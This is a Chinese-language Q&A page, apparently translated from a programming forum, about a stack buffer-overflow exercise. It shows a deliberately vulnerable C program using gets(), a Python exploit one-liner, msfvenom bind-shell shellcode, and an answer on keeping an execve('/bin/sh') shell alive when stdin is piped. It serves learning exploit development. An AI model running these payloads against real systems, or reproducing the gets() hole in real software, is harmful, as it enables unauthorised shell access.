首页 > 解决方案 > 漏洞利用开发——GETS 和 Shellcode

问题描述

试图了解更多关于漏洞利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。

为什么我无法运行诸如 execve("/bin/sh") 之类的 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个 reverse / bind_tcp shell 并使用 netcat 连接到它。

示例程序:

// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack

#include <stdio.h>
#include <string.h>

void test() {
    char pass[50];
    printf("Password: ");
    gets(pass);
    if (strcmp(pass, "epicpassw0rd") == 0) {
        printf("Woho, you got it!\n");
    }
}

int main() {
    test();
    __asm__("movl $0xe4ffd4ff, %edx");  // jmp esp, call esp - POC
    return(0);
}

示例漏洞:

python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln

样本有效载荷(工作):

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" -f python
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

测试了多个不同的 execve("/bin/sh") 样本,以及创建我自己的样本,然后在将其用作有效负载之前对其进行编译以验证它们是否有效。

如:https ://www.exploit-db.com/exploits/42428/

标签: cexploitshellcodegets

解决方案


当shellcode execve(/bin/sh) 执行时,它没有连接的标准输入(因为GETS)并且将终止。

解决办法是关闭stdin描述符,在执行/bin/sh之前重新打开/dev/tty。

#include <unistd.h>
#include <stdio.h>
#include <sys/fcntl.h>

int main(void) {
    char buf[50];
    gets(buf);
    printf("Yo %s\n", buf);
    close(0);
    open("/dev/tty", O_RDWR | O_NOCTTY);
    execve ("/bin/sh", NULL, NULL);
}

相关答案:execve("/bin/sh", 0, 0); 在管道中

也可以通过使用执行有效负载

( python -c "print 'A'*62 + '\x35\x56\x55\x56' + '\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"; cat ) | ./vuln

推荐阅读